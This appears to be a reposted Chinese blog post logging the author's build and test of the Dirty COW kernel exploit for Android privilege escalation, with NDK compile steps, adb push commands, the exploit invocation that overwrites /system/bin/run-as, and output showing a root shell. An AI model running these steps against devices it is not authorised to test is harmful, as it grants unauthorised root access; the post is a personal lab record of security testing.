dirtycow

来源:互联网 发布:便宜淘宝店 编辑:程序博客网 时间:2024/06/11 06:02

最近曝光一个关于dirtycow的linux漏洞,准备在android下进行提权测试,以下是网上的一些观点和我自己的测试。


一、关于编译

在Windows7下的cygwin下编译

windows设置环境变量,将android-ndk-r11路径添加到Path下

cygwin下的找到一个 home\< 你的用户名 >\.bash_profile 文件,添加

NDK=/cygdrive/e/android-ndk-r5

export NDK

(其实在这里可能也不用,这是做android的ndk开发时用的,看这篇文章http://www.cnblogs.com/devinzhang/archive/2012/02/29/2373729.html)

makefile里这句

ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21

可以修改android版本,我原来用的ndkr10,发现没有21的版本,后来路径改为r11,中间老是报没有ndk-build文件,我找了半天原因,后来才发现在11下真的没有这个linux下的可执行文件,就从r10下拷过来了。需要注意run-as.c文件里的 <sys/capability.h>注意,在 man 手册里使用 #include <sys/capability.h> 头文件。实际上,现在已经改为 #include <Linux/capability.h>

make成功

$ make
ndk-build NDK_PROJECT_PATH=. APP_BUILD_SCRIPT=./Android.mk APP_PLATFORM=android-21
make[1]: 进入目录“/cygdrive/D/project/Android/android-ndk-r11/up”
[armeabi] Cygwin         : Generating dependency file converter script
[armeabi] Compile thumb  : dirtycow <= dirtycow.c
[armeabi] Executable     : dirtycow
[armeabi] Install        : dirtycow => libs/armeabi/dirtycow
[armeabi] Compile thumb  : run-as <= run-as.c
[armeabi] Executable     : run-as
[armeabi] Install        : run-as => libs/armeabi/run-as
make[1]: 离开目录“/cygdrive/D/project/Android/android-ndk-r11/up”

后面可以执行makefile里的make push和make root进行测试。

$ make push
./adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
100 KB/s (13648 bytes in 0.132s)
./adb push libs/armeabi/run-as /data/local/tmp/run-as
77 KB/s (9552 bytes in 0.120s)


$ make root
./adb push libs/armeabi/dirtycow /data/local/tmp/dirtycow
137 KB/s (13648 bytes in 0.097s)
./adb push libs/armeabi/run-as /data/local/tmp/run-as
90 KB/s (9552 bytes in 0.103s)
./adb shell 'chmod 777 /data/local/tmp/run-as'
./adb shell '/data/local/tmp/dirtycow /system/bin/run-as /data/local/tmp/run-as'
/system/bin/sh: /data/local/tmp/dirtycow: can't execute: Permission denied
./adb shell /system/bin/run-as
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6ffffffe arg 0x4fc
WARNING: linker: /system/bin/run-as: unused DT entry: type 0x6fffffff arg 0x1
running as uid 2000
uid 0

在Ubuntu14.10下测试,老是报错:

make[1]: /home/joo/Desktop/android-sdk/android-ndk-r10/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc: Command not found

原因是我这个NDK是windows下的版本,在toolchains/arm-linux-androideabi-4.6/prebuilt下没有linux-x86这个目录,懒得折腾了,就这样了。


二、Android下App里面怎么提权

实际应用中我们肯定不是通过adb来对android进行提权,adb实现的是shell权限,在App中应用时用的用户权限,所以对run-as没有执行的权限,这大概就是selinux的机制吧。查看run-as的权限

-rwxr-x--- root     shell        9444 2015-09-17 13:29 run-as

所以归根结底是还是没有对该漏洞完全了解,写不出自己利用的poc。几个文章链接

http://bbs.pediy.com/showthread.php?t=213391&highlight=dirtycow

http://bbs.pediy.com/showthread.php?t=213467&highlight=dirtycow





0 0
原创粉丝点击